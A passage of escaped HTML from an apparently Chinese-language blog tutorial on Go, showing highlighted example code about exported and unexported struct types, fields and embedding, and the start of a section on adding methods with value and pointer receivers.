class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// main 包\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epackage\u003c/span\u003e main\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e (\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;go-demo/user\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;log\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ------\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 在 main 包中,试图使用 user 包中的为公开的 duration 类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//var d1 user.duration = 10 // 报错:Unexported type \u0026#39;duration\u0026#39; usage\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ------\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 在 main 包中,访问一个 user 包中公开的 Duration 类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e d2 user.Duration = \u003cspan class=\"number\"\u003e10\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(d2) \u003cspan class=\"comment\"\u003e// 结果:10\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ------\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 还可以以工厂函数的方式使用,user 包中未公开的类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e d3 := user.New(\u003cspan class=\"number\"\u003e100\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;type: %T, value:%d\u0026#34;\u003c/span\u003e, d3, d3) \u003cspan class=\"comment\"\u003e// 结果:type: user.duration, value:100\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ------\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// main包中尝试访问 user 包中未公开的结构类型 user\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//var u user.user // 报错:Unexported type \u0026#39;user\u0026#39; usage\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ------\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// main包中尝试访问 user 包中公开的结构类型 User\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e u user.User\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;%#v\u0026#34;\u003c/span\u003e, u) \u003cspan class=\"comment\"\u003e// 结果:user.User{name:\u0026#34;\u0026#34;}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 访问公开 User 类型的未公开的字段 phone\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//log.Println(u.phone) // 报错:Unexported field \u0026#39;phone\u0026#39; usage\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 初始化未公开的字段 phone\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//u2 := user.User{phone: \u0026#34;176888888888\u0026#34;} // 报错:Unexported field \u0026#39;phone\u0026#39; usage in struct literal\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 访问公开 User 类型的公开的字段 Name\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 给字段赋值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//u.Name = \u0026#34;Jack\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//log.Println(u.Name) // 结果:Jack\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 初始化公开字段\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e u3 := user.User{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Name: \u003cspan class=\"string\"\u003e\u0026#34;Jack\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(u3.Name) \u003cspan class=\"comment\"\u003e// 结果:Jack\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ------\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// main 包中初始化 user 包中公开的 User 类型中嵌套的未公开的 address 类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 报错:Unexported field \u0026#39;address\u0026#39; usage in struct literal\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//u4 := user.User{\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// address: address{\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// City: \u0026#34;Beijing\u0026#34;,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// },\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e u5 user.User\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 嵌套的结构类型会提升到上级结构中\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e u5.City = \u003cspan class=\"string\"\u003e\u0026#34;Beijing\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(u5.City) \u003cspan class=\"comment\"\u003e// Beijing\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 尝试访问子孙级别的嵌套结构的公开的字段\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 无法访问\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//u5.Longitude = \u0026#34;xx\u0026#34; //报错:u5.Longitude undefined (type user.User has no field or method Longitude)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"03-给自定义类型增加方法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E8%AF%AD%E8%A8%80%E7%BB%93%E6%9E%84%E7%B1%BB%E5%9E%8B%E8%AF%A6%E8%A7%A3/#03-%E7%BB%99%E8%87%AA%E5%AE%9A%E4%B9%89%E7%B1%BB%E5%9E%8B%E5%A2%9E%E5%8A%A0%E6%96%B9%E6%B3%95\" class=\"headerlink\" title=\"03. 给自定义类型增加方法\"\u003e\u003c/a\u003e\u003cstrong\u003e03.\u003c/strong\u003e 给自定义类型增加方法\u003c/h2\u003e\u003cp\u003e在Go语言中,编译器只允许为命名的用户定义的类型声明方法。方法跟函数类似,只是方法不会单独存在,一般是绑定到某个结构类型中,给类型增加方法的方式很简单,就是在方法名和 func 之间增加一个参数即可, 这个参数称为方法的接收者。\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e User \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Name \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 给 User 类型增加方法 Read\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(u User)\u003c/span\u003e\u003c/span\u003e Read() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(u.Name, \u003cspan class=\"string\"\u003e\u0026#34;is Reading...\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// User 类型变量使用 Read 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e u := User{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Name: \u003cspan class=\"string\"\u003e\u0026#34;Jack\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e u.Read() \u003cspan class=\"comment\"\u003e// 结果 Jack is Reading...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e方法的接收者,可以是值接收者,也可以是指针接收者。\u003c/p\u003e\u003cp\u003e而应该使用值接收者还是指针接收者,那要看给这个类型增加或删除某个值时,是创建一个新值,还是要更改当前值?如果是要创建一个新值,该类型的方法就使用值接收者;如果是要修改当前值,就使用指针接收者。\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr/\u003e\u003cspan 